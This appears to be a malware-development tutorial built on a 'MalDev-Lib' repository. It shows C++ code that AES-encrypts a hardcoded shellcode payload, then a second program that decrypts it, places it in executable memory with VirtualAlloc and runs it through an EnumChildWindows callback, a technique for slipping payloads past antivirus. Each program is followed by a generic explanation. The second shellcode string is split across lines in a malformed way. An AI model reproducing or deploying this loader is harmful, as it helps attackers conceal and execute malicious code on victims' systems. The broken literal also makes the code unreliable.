AES

Encryption:

Here you have the Github Repository used and included in the code:

https://github.com/S12cybersecurity/MalDev-Lib

```
C++ Code
#include <windows.h>
#include <stdio.h>
#include "MalDev-Lib/lib-Shellcode/Shellcode.h"

int main(){
    unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
    "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
    "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
    "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
    "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
    "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
    "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
    "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
    "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
    "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
    "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
    "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
    "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x63\x61\x6c\x63\x00";

    unsigned char key[] = "123456789";
    unsigned char iv[] = "123456789";
    int len = sizeof(shellcode);

    Shellcode sc(shellcode,len);
    sc.AES_encrypt(key,iv);
    return 0;
}
```

This C code appears to be an example of encrypting shellcode using the AES (Advanced Encryption Standard) algorithm. The code includes a library called `lib-Shellcode/Shellcode.h` (which is not provided in the snippet) that presumably contains the necessary functions for handling the shellcode and encryption. Here's an explanation of the code:

1. **Header Files**: It includes standard Windows and C headers, including `<windows.h>` and `<stdio.h>`, which provide functions for Windows API and standard I/O operations, respectively. Additionally, it appears to rely on a custom library `lib-Shellcode/Shellcode.h` for shellcode-related functionality.
2. **Main Function**:
    - The `main` function is the entry point of the program.
    - It defines an array `shellcode` that contains a sequence of hexadecimal values. This shellcode will be encrypted using AES encryption.
    - It also defines `key` and `iv` arrays, which are used as the encryption and initialization vectors for the AES encryption process.
    - The `len` variable stores the length of the `shellcode` array.
3. **Shellcode Initialization**:
    - It creates an instance of a `Shellcode` object, passing the `shellcode` array and its length as parameters. The purpose of this object is not clear from the provided code but appears to be part of the custom library being used.
4. **AES Encryption**:
    - It calls the `AES_encrypt` method on the `Shellcode` object, passing the `key` and `iv` arrays as arguments. This method is likely responsible for encrypting the shellcode using AES encryption.
5. **Return Value**:
    - The `main` function returns 0, indicating successful execution.

It's important to note that the code snippet you provided relies on external libraries and a custom `Shellcode` class, which is not defined in the provided code. The actual functionality and purpose of this code may depend on the implementation of the `Shellcode` class and the `lib-Shellcode` library. Additionally, encrypting shellcode is a technique that can be used for various purposes, including protecting sensitive code or payloads. However, it can also be used for malicious purposes, so it should be handled carefully and responsibly.

Decryption and Execution:

```
C++ Code
#include <windows.h>
#include <stdio.h>
#include "MalDev-Lib/lib-Shellcode/Shellcode.h"

int main(){
    unsigned char shellcode[] = "\x0b\xd9\x45\x9a\xee\x51\xb9\x7c\xa1\xf0\xa9\x36\x0b\x51\x8e\x1b\x89\x78\x36\x2e\xd0\x5f\x9f\xf3\x36\x3a\x88\xf4\xe3\xa4\x3a\xe4\x8f\x82\x01\xa0\xc8\x12\xdc\x24\x44\x3c\xfa\x60\x2b\xf5
                                \x18\xf0\x0f\x29\x60\x63\x9a\x12\x80\xff\x31\xea\x10\xd6\x2c\x96\x90\x4d\xc0\x89\x6c\x24\x55\xf6\x59\x81\x30\xe1\x14\x42\xc0\x73\x93\xf5\x22\x3d\x96\xea\x32\x13\xc8\x9c\x4d\xdd\xfd\xe9\
                                x95\x76\xa6\x75\x90\xd1\xb7\xca\x5f\xd1\xc8\x1e\x11\x7d\xf8\x74\xa0\x1f\x30\x68\x56\x4b\xbc\xf0\xa4\x2d\x58\x82\x7b\xd2\x33\xa7\x98\xac\x2e\x1a\xc2\x8b\x90\xde\x10\x37\x63\xe2\x65\xf8\
                                x60\xa4\x5a\x1b\xe0\x2d\xde\x5d\x1d\x20\xc3\x88\x93\xf2\x8e\x6d\xbd\x21\x1a\xc4\xfd\x5b\xdc\xfe\xb3\xd0\xbc\x26\x01\xf2\xfe\xad\x0b\x95\x73\x9d\xa9\x02\x96\xc0\x29\xfb\x15\x16\xf6\x61\
                                xf4\x1d\x18\xa1\x98\x16\x3a\xc3\x40\xe1\xa8\x05\xcc\x36\x2c\x12\x37\x72\x54\x51\x06\xf4\xc4\x42\xc3\x8f\xae\x89\x8c\xad\x1c\xa5\x98\x32\x82\xf7\xb3\xd5\x44\x15\x65\x19\xc5\x7b\xe2\x6e\
                                xc4\xac\xc3\x5a\xb1\x23\x57\x9b\x72\xc1\xf4\x93\x88\x1c\xa8\xb0\x14\xbe\x40\x86\x88\x1c\xdb\x9e\x12\x27\x05\x44\x6d\x40\xc4\xab\xa8\x70\x8b\xf6\x73\xa8\xa6\xe7\x74\xf9\x73\x90";
    unsigned char key[] = "123456789";
    unsigned char iv[] = "123456789";
    int len = sizeof(shellcode);

    Shellcode sc(shellcode,len);

    unsigned char * decrypted = sc.AES_decrypt(key,iv);

    HANDLE hAlloc = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(hAlloc, decrypted, len);
    EnumChildWindows((HWND) NULL, (WNDENUMPROC) hAlloc, NULL);
    return 0;
}
```

This C code appears to be a simple example of using AES (Advanced Encryption Standard) encryption and decryption to execute shellcode. The code includes a library called `lib-Shellcode/Shellcode.h` (which is not provided in the snippet) that presumably contains the necessary functions for handling the shellcode and encryption/decryption. Here's an explanation of the code:

1. **Header Files**: It includes standard Windows and C headers, including `<windows.h>` and `<stdio.h>`, which provide functions for Windows API and standard I/O operations, respectively. Additionally, it appears to rely on a custom library `lib-Shellcode/Shellcode.h` for shellcode-related functionality.
2. **Main Function**:
    - The `main` function is the entry point of the program.
    - It defines an array `shellcode` that presumably contains encrypted shellcode in hexadecimal format. This shellcode will be decrypted and executed.
    - It also defines `key` and `iv` arrays, which are used as the encryption and initialization vectors for the AES decryption process.
    - The `len` variable stores the length of the `shellcode` array.
3. **Shellcode Initialization**:
    - It creates an instance of a `Shellcode` object, passing the `shellcode` array and its length as parameters. The purpose of this object is not clear from the provided code but appears to be part of the custom library being used.
4. **AES Decryption**:
    - It calls the `AES_decrypt` method on the `Shellcode` object, passing the `key` and `iv` arrays as arguments. This method is likely responsible for decrypting the shellcode using AES encryption.
    - The result of the decryption is stored in the `decrypted` pointer.
5. **Memory Allocation**:
    - It allocates a region of memory using the `VirtualAlloc` function. This memory is allocated with read, write, and execute permissions (PAGE_EXECUTE_READWRITE). The size of the allocated memory is equal to the length of the decrypted shellcode.
    - The decrypted shellcode is then copied into this allocated memory using `memcpy`.
6. **Shellcode Execution**:
    - The code uses the `EnumChildWindows` function, which is part of the Windows API. It's called with the address of the allocated memory (`hAlloc`) as the callback function. This suggests that the intention is to execute the decrypted shellcode within the context of each child window of the current process.

It's important to note that the code snippet you provided relies on external libraries and a custom `Shellcode` class, which is not defined in the provided code. The actual functionality and purpose of this code may depend on the implementation of the `Shellcode` class and the `lib-Shellcode` library. Additionally, the code is decrypting and executing shellcode, which can be a security risk if not handled carefully, and should only be used for legitimate and ethical purposes.